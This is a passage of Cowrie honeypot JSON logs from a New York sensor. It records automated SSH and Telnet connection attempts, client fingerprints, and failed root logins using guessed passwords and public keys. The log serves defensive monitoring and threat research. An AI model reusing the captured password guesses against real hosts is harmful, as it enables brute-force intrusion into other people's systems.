es128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:07:18.774769Z","src_ip":"66.132.172.107","session":"73982ddf43a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.4","message":"Connection lost after 16.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:07:34.292812Z","src_ip":"66.132.172.107","session":"73982ddf43a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.105.113.173","src_port":42610,"dst_ip":"10.17.0.5","dst_port":23,"session":"78831631a154","protocol":"telnet","message":"New connection: 183.105.113.173:42610 (10.17.0.5:23) [session: 78831631a154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:07:53.395213Z"}
{"eventid":"cowrie.session.closed","duration":13.05441665649414,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:08:06.449537Z","src_ip":"183.105.113.173","session":"78831631a154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":55762,"dst_ip":"10.17.0.5","dst_port":22,"session":"f02ca6f84598","protocol":"ssh","message":"New connection: 124.193.81.23:55762 (10.17.0.5:22) [session: f02ca6f84598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:08:34.086214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:08:34.091129Z","src_ip":"124.193.81.23","session":"f02ca6f84598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:08:34.327631Z","src_ip":"124.193.81.23","session":"f02ca6f84598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:08:35.301019Z","src_ip":"124.193.81.23","session":"f02ca6f84598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:08:36.541172Z","src_ip":"124.193.81.23","session":"f02ca6f84598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":49312,"dst_ip":"10.17.0.5","dst_port":22,"session":"703438701d2d","protocol":"ssh","message":"New connection: 124.193.81.23:49312 (10.17.0.5:22) [session: 703438701d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:10:04.791960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:10:04.802605Z","src_ip":"124.193.81.23","session":"703438701d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:10:05.078725Z","src_ip":"124.193.81.23","session":"703438701d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwert12345","message":"login attempt [root/Qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:10:06.146916Z","src_ip":"124.193.81.23","session":"703438701d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:10:07.408592Z","src_ip":"124.193.81.23","session":"703438701d2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.66.228.247","src_port":38306,"dst_ip":"10.17.0.5","dst_port":23,"session":"89a2af5995e5","protocol":"telnet","message":"New connection: 113.66.228.247:38306 (10.17.0.5:23) [session: 89a2af5995e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:10:12.680236Z"}
{"eventid":"cowrie.session.closed","duration":12.71883773803711,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:10:25.398939Z","src_ip":"113.66.228.247","session":"89a2af5995e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.95.10.204","src_port":2420,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb1cd5c4b27","protocol":"ssh","message":"New connection: 192.95.10.204:2420 (10.17.0.5:22) [session: 2bb1cd5c4b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.612673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.617281Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.638317Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:75:69:a7:3a:0f:fc:56:08:83:e4:64:05:ac:59:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKeaOaKa1QPqrIYCWnxw0Ui2bg63dmWgxavKv6vTAmUvjB94b6N6iQOs7riOOvmQW4FhCQfyW4+LhsNmcIJFsUnIf1hPP+YOPbFukiD0qSBWj/9GJR7BDSTkuaeBQJql2oDwGi447lai7my0eP9RMBi0KXk6p0ihYCJBoPlI9bHzKyXMrXqI6tqbj+vH8nuvvbm7b0ctIFejWHJaf6vKs47o+V7cn5uyKPy4xzWnfzCvU0Ki8BhdcG4V3MF+hZ5Tw8S/akaMc6fhieTlytpfXOya8ipnSdvLXEFYpWBCsmi/+l8P6JbZ9ZYRrKs6jqCSpkRtuUP4hp5/ih/+wquiRj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:75:69:a7:3a:0f:fc:56:08:83:e4:64:05:ac:59:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.720123Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:75:69:a7:3a:0f:fc:56:08:83:e4:64:05:ac:59:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKeaOaKa1QPqrIYCWnxw0Ui2bg63dmWgxavKv6vTAmUvjB94b6N6iQOs7riOOvmQW4FhCQfyW4+LhsNmcIJFsUnIf1hPP+YOPbFukiD0qSBWj/9GJR7BDSTkuaeBQJql2oDwGi447lai7my0eP9RMBi0KXk6p0ihYCJBoPlI9bHzKyXMrXqI6tqbj+vH8nuvvbm7b0ctIFejWHJaf6vKs47o+V7cn5uyKPy4xzWnfzCvU0Ki8BhdcG4V3MF+hZ5Tw8S/akaMc6fhieTlytpfXOya8ipnSdvLXEFYpWBCsmi/+l8P6JbZ9ZYRrKs6jqCSpkRtuUP4hp5/ih/+wquiRj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.723918Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:8f:86:23:e4:6e:35:d0:fc:07:44:40:96:37:4d:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyu//7y8TNSDuCuMqS9TQF/Qzs525iiNHn9bK8l1UtnK+xdY006gmxauDNF4Dod6DQei8+pWOGv8b5ZX6zyZ1XAswJgmHaYtHHw3z6MxhCW4SidIjulxslPGKA6ocfE2zCpVmFzDBCCu0uYAK4rV9AsBW3j1fY08lnIuICGI0TrPkYWik4MHFShAxCti9tqxHgHAhuAnfDMDjIcpXQ3Yvmlqp1WlFGGJajPOnvz4IPjAJWm7kXQUjiDqIcVe6pdeJHdzspMhFhuATjJaPast3dOBKE4Xt5xLr31hEMKKh1AhQQM9AsWhQ5pA1nj6hQNk2K+JZulZpn1Ec2GGBtd5eH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:8f:86:23:e4:6e:35:d0:fc:07:44:40:96:37:4d:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.745381Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:8f:86:23:e4:6e:35:d0:fc:07:44:40:96:37:4d:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyu//7y8TNSDuCuMqS9TQF/Qzs525iiNHn9bK8l1UtnK+xdY006gmxauDNF4Dod6DQei8+pWOGv8b5ZX6zyZ1XAswJgmHaYtHHw3z6MxhCW4SidIjulxslPGKA6ocfE2zCpVmFzDBCCu0uYAK4rV9AsBW3j1fY08lnIuICGI0TrPkYWik4MHFShAxCti9tqxHgHAhuAnfDMDjIcpXQ3Yvmlqp1WlFGGJajPOnvz4IPjAJWm7kXQUjiDqIcVe6pdeJHdzspMhFhuATjJaPast3dOBKE4Xt5xLr31hEMKKh1AhQQM9AsWhQ5pA1nj6hQNk2K+JZulZpn1Ec2GGBtd5eH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.749133Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:43:30:0b:0c:9b:24:cb:3a:c1:2d:f8:7f:c2:01:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh7Zv56pzcZqcuBoeiZWkVXeSq1gim5zc8+WA4o895wUFjN+WO/JTDnKzoJ3h0ldUp5s4Wqvco4i18k8IBN84C4Eoa2gVYkxT4Lp1nD3BRXIjDQrjBz0E3e/JfsDa0s4/zvbveE/LkEvGKGea+vUN4oAsEiTQfLghTN0BLEjcqOx/ArxDDK+MDRO1dGEDUPikppwXi//nJJS9EZyl5sJVwUXgJ2FHgbEeMsbGCor4eAjr96ASQwHu1M4T+ZxzcTz5NoP42BYbfAzbXXUJZt+CeWGI57XZ9Fir67sWxJs1+NqXiRQAwuNs0Pl3mhR2KH8dEQaGhew38/esfuaWjlBJl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:43:30:0b:0c:9b:24:cb:3a:c1:2d:f8:7f:c2:01:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.772906Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:43:30:0b:0c:9b:24:cb:3a:c1:2d:f8:7f:c2:01:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh7Zv56pzcZqcuBoeiZWkVXeSq1gim5zc8+WA4o895wUFjN+WO/JTDnKzoJ3h0ldUp5s4Wqvco4i18k8IBN84C4Eoa2gVYkxT4Lp1nD3BRXIjDQrjBz0E3e/JfsDa0s4/zvbveE/LkEvGKGea+vUN4oAsEiTQfLghTN0BLEjcqOx/ArxDDK+MDRO1dGEDUPikppwXi//nJJS9EZyl5sJVwUXgJ2FHgbEeMsbGCor4eAjr96ASQwHu1M4T+ZxzcTz5NoP42BYbfAzbXXUJZt+CeWGI57XZ9Fir67sWxJs1+NqXiRQAwuNs0Pl3mhR2KH8dEQaGhew38/esfuaWjlBJl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.777047Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:f8:5a:1b:ed:9a:89:dd:c7:e6:bf:2a:29:45:d5:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZyb7FCHeSimAFzwyHJh+T98wLRRol1bQj+Cgj2IBNJ8+GbqqpE+YZc/eZ6eEEtdGAdLThlncRi64Sc617XO4wCNJzc9KtrhkZb6i210koBrLSp0w6JeK7Mk23u5FlXf9pz0iVot2RfjGD2eLrYT00rS/lHQbfpepj3r0utjEk/q6FpEr+//fezOVusTaZGsIcXVgY0xy7jwvKN+gKgOOfBwC8Y7D0q2XzhWSHZG4jRJrGvqO1N7Snl8m5hD10bD95uZgHvLMibSe8Zk/0o3ZrNEQkzZEPYOBUnTow67c2ev40HrPFuAcjO8o579tkEZaZofqFRra6JO6Y2yCRG04z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:f8:5a:1b:ed:9a:89:dd:c7:e6:bf:2a:29:45:d5:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.799009Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:f8:5a:1b:ed:9a:89:dd:c7:e6:bf:2a:29:45:d5:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZyb7FCHeSimAFzwyHJh+T98wLRRol1bQj+Cgj2IBNJ8+GbqqpE+YZc/eZ6eEEtdGAdLThlncRi64Sc617XO4wCNJzc9KtrhkZb6i210koBrLSp0w6JeK7Mk23u5FlXf9pz0iVot2RfjGD2eLrYT00rS/lHQbfpepj3r0utjEk/q6FpEr+//fezOVusTaZGsIcXVgY0xy7jwvKN+gKgOOfBwC8Y7D0q2XzhWSHZG4jRJrGvqO1N7Snl8m5hD10bD95uZgHvLMibSe8Zk/0o3ZrNEQkzZEPYOBUnTow67c2ev40HrPFuAcjO8o579tkEZaZofqFRra6JO6Y2yCRG04z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.803010Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:e9:4d:6b:bc:36:48:c8:16:02:5a:8c:17:93:5b:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEIl7PIoLM/UcznrruCku/SaxAL5go7tkOFnqNpc/TJOSXZ2PE8rRq9mQouy683OPQx/JUD07/JUkk2jbhGi0Nl7v1qGEzKG4nxuNYwV3SSpBJdJwH5/cZS205rlv0ghjaSqEcFLVhIU5EyvR9HGYZhGRT53BCqqR2GYLF1X1gBEywvHYRmJyr7sM1CZYIRT5snljSCXkg/Xl+QA04YH/CU4MJVGlJ2fdQPIvlcdroVrm2KmZoxba6ZKTwQjTI8yMuRd+Lm9OIli1BAlLLtPjSdjEnM/xmlQUKVhgqULm/6itD7IUC8yyCmfi3YTcaOD+xCOtxfdiYNDaQwVn5PumR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:e9:4d:6b:bc:36:48:c8:16:02:5a:8c:17:93:5b:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.824823Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:e9:4d:6b:bc:36:48:c8:16:02:5a:8c:17:93:5b:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEIl7PIoLM/UcznrruCku/SaxAL5go7tkOFnqNpc/TJOSXZ2PE8rRq9mQouy683OPQx/JUD07/JUkk2jbhGi0Nl7v1qGEzKG4nxuNYwV3SSpBJdJwH5/cZS205rlv0ghjaSqEcFLVhIU5EyvR9HGYZhGRT53BCqqR2GYLF1X1gBEywvHYRmJyr7sM1CZYIRT5snljSCXkg/Xl+QA04YH/CU4MJVGlJ2fdQPIvlcdroVrm2KmZoxba6ZKTwQjTI8yMuRd+Lm9OIli1BAlLLtPjSdjEnM/xmlQUKVhgqULm/6itD7IUC8yyCmfi3YTcaOD+xCOtxfdiYNDaQwVn5PumR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.829063Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:11:07.851205Z","src_ip":"192.95.10.204","session":"2bb1cd5c4b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":36546,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e780b0d79a8","protocol":"ssh","message":"New connection: 124.193.81.23:36546 (10.17.0.5:22) [session: 3e780b0d79a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:13:09.705264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:13:09.710285Z","src_ip":"124.193.81.23","session":"3e780b0d79a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:13:09.948480Z","src_ip":"124.193.81.23","session":"3e780b0d79a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kazama","message":"login attempt [root/kazama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:13:10.931694Z","src_ip":"124.193.81.23","session":"3e780b0d79a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:13:12.175445Z","src_ip":"124.193.81.23","session":"3e780b0d79a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56928,"dst_ip":"10.17.0.5","dst_port":22,"session":"602a9bcd89e7","protocol":"ssh","message":"New connection: 194.59.206.2:56928 (10.17.0.5:22) [session: 602a9bcd89e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:13:23.806683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:13:23.814566Z","src_ip":"194.59.206.2","session":"602a9bcd89e7","protocol":"ssh"}
